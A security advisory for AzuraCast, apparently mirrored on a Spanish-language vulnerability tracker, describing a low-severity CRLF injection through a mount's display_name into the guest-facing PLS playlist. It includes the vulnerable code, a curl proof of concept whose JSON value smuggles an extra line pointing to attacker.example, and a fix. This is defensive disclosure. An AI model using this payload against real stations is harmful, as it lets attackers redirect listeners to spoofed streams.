GHSA-CQGX-RQJR-5GF4
CRLF injection into the public PLS playlist via mount/remote display_name
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CQGX-RQJR-5GF4 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Hi AzuraCast team,
Affected Version: latest rolling release (verified at commit `2cb84e2f874d08ad9ff743ebda94fb30bc77041f`).
Affected files:
- https://github.com/AzuraCast/AzuraCast/blob/2cb84e2f874d08ad9ff743ebda94fb30bc77041f/backend/src/Controller/Frontend/PublicPages/PlaylistAction.php
- https://github.com/AzuraCast/AzuraCast/blob/2cb84e2f874d08ad9ff743ebda94fb30bc77041f/backend/src/Entity/StationMount.php
Summary
A mount's `display_name` (writable by a low-privilege `Station:MountPoints` user) is written raw
into the guest-facing `audio/x-scpls` playlist body. `display_name` is only length-truncated —
there is no CR/LF or control-character stripping — so a crafted name injects extra `FileN=` /
`TitleN=` lines into the downloaded playlist, pointing a listener's media player at an
attacker-controlled stream while displaying the victim station's own name.
Vulnerability Type
- CWE-93 — Improper Neutralization of CRLF Sequences ('CRLF Injection')
- CWE-79 — Improper Neutralization of Input During Web Page Generation (content spoofing)
Required privileges
Low. An authenticated station user with the `Station:MountPoints` (or `Station:RemoteRelays`)
permission on one station. No admin access required. The victim is an unauthenticated guest.
Tested environment
AzuraCast: Rolling Release, commit 2cb84e2f874d08ad9ff743ebda94fb30bc77041f
Deployment: Docker (local test instance)
Station public page: enabled (default)Root Cause
`StationMount::$display_name` is length-truncated only; no CR/LF filtering:
#[ORM\Column(length: 255, nullable: false)]
public string $display_name = '' {
...
set (string|null $value) => $this->truncateNullableString($value) ?? '';
}`PlaylistAction.php` assembles the playlist `TitleN=` value from `display_name` and writes it into
the `audio/x-scpls` body without stripping CR/LF:
$streams[] = [
'name' => $station->name . ' - ' . $mount->display_name,
'url' => $streamUrl,
];
...
foreach ($streams as $stream) {
$output[] = 'File' . $i . '=' . $stream['url'];
$output[] = 'Title' . $i . '=' . $stream['name'];
$output[] = 'Length' . $i . '=-1';
$output[] = '';
$i++;
}
$response->getBody()->write(implode("\n", $output));The playlist is served to guests via `GET /public/{station}/playlist.pls` (default format `pls`).
Proof of Concept
On a stock install with the station public page enabled:
- As a user with `Station:MountPoints` permission (or `Station:RemoteRelays`), create a mount
curl -s -X POST "https://<your-azuracast>/api/station/<station-id>/mounts" \
-H "X-API-Key: <low-priv-api-key>" \
-H "Content-Type: application/json" \
-d '{"name": "/stream", "display_name": "Nice Mount\r\nFile2=http://attacker.example/stream.mp3\r\nTitle2=Victim Station"}'- Fetch the station's public playlist as a guest:
curl -s "https://<your-azuracast>/public/<station>/playlist.pls"- Observe that the response body contains the injected lines byte-for-byte:
[playlist]
File1=http://<station-host>/listen/<station>/stream.mp3
Title1=<station> - Nice Mount
File2=http://attacker.example/stream.mp3
Title2=Victim Station
Length1=-1
NumberOfEntries=1
Version=2A media player that parses `FileN=` entries (many ignore `NumberOfEntries`) will present the
attacker's stream under the victim station's name. A `display_name` without CRLF produces no extra
lines (verified as the negative control).
Expected behavior
`display_name` (and any other user-writable text embedded in the generated playlist) should
have CR/LF stripped or rejected, so one mount/remote entry produces exactly one
`FileN=`/`TitleN=` pair in the public playlist.
Actual behavior
CR/LF in `display_name` is written through unchanged, letting a low-privilege station user
inject arbitrary extra `FileN=`/`TitleN=` lines into the guest-facing `audio/x-scpls` body.
Security Impact
Preconditions (verbatim):
- Low-privilege station user with `Station:MountPoints` or `Station:RemoteRelays` (can set
`display_name`).
- `display_name` has no CRLF/control-character sanitization (`StationMount.php` / `StationRemote.php`
are `ORM\Column(length:255)` with only length truncation).
- Station public page enabled (default) so guests can fetch `/public/{station}/playlist.pls`.
- A victim media player that honors injected `FileN=` lines.
Effect: stored, second-order content spoofing / playlist phishing of the station's audience. For
mounts, the stream URL is station-derived and not user-editable, so CRLF injection is the only way
a `MountPoints` user can redirect the public playlist to an arbitrary external stream — outside
their role envelope. No code execution and no data exposure; the victim must download the
playlist.
CVSS 4.0: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` — Low (≈2.3).
CVSS 3.1 equivalent: `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N` — Low (3.5).
Suggested Fix
Strip CR/LF (and other control characters) from `display_name`, either at the entity setter
(`StationMount.php` / `StationRemote.php` `display_name`) or when assembling the playlist output in
`PlaylistAction.php` (filter `\r`/`\n` from `$stream['name']` before concatenation). The
setter-side fix also covers the station playlist export path (`ExportAction.php`) which writes
media `title`/`artist` raw.
Workarounds
Station administrators can disable the public page (or the affected mounts'
`is_visible_on_public_pages` flag) so the playlist is not served to guests.
Reported by Ahmed Ibrahim (@skeletonsec). Independently validated in a local test environment.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistazuracast/azuracast |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-cqgx-rqjr-5gf4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
